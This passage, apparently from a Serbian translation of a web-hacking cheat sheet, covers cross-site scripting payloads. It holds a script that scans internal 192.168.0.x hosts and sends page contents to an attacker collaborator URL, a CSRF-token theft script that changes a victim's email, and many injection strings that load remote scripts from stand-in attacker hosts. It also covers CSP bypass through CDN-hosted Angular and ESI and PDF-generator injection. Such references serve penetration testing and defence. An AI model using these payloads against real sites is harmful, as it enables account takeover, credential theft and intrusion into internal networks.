fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Kada se bilo koji podaci unesu u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent odabere sačuvanu lozinku i ne unese ništa, akreditivi će biti ex-filtrirani.
Keylogger
Samo pretražujući na github-u, pronašao sam nekoliko različitih:
Takođe možete koristiti metasploit http_javascript_keylogger
Krađa CSRF tokena
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Pristup Skrivenom Sadržaju
Iz ovog izveštaja moguće je saznati da čak i ako neki vrednosti nestanu iz JS, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa regex-a uklonjena:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Imate XSS na sajtu koji koristi keširanje? Pokušajte da to unapredite na SSRF kroz Edge Side Include Injection sa ovim payload-om:
<esi:include src="http://yoursite.com/capture" />
Iskoristite to da zaobiđete ograničenja kolačića, XSS filtre i još mnogo toga!
Više informacija o ovoj tehnici ovde: XSLT.
XSS u dinamički kreiranim PDF-ovima
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite bot koji kreira PDF da izvrši proizvoljni JS kod.
Dakle, ako bot za kreiranje PDF-a pronađe neku vrstu HTMLtagova, on će ih interpretirati, a vi možete iskoristiti ovo ponašanje da izazovete Server XSS.
AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi osigurao funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem AMP komponenti.
Format AMP za Email proširuje specifične AMP komponente na emailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih emailova.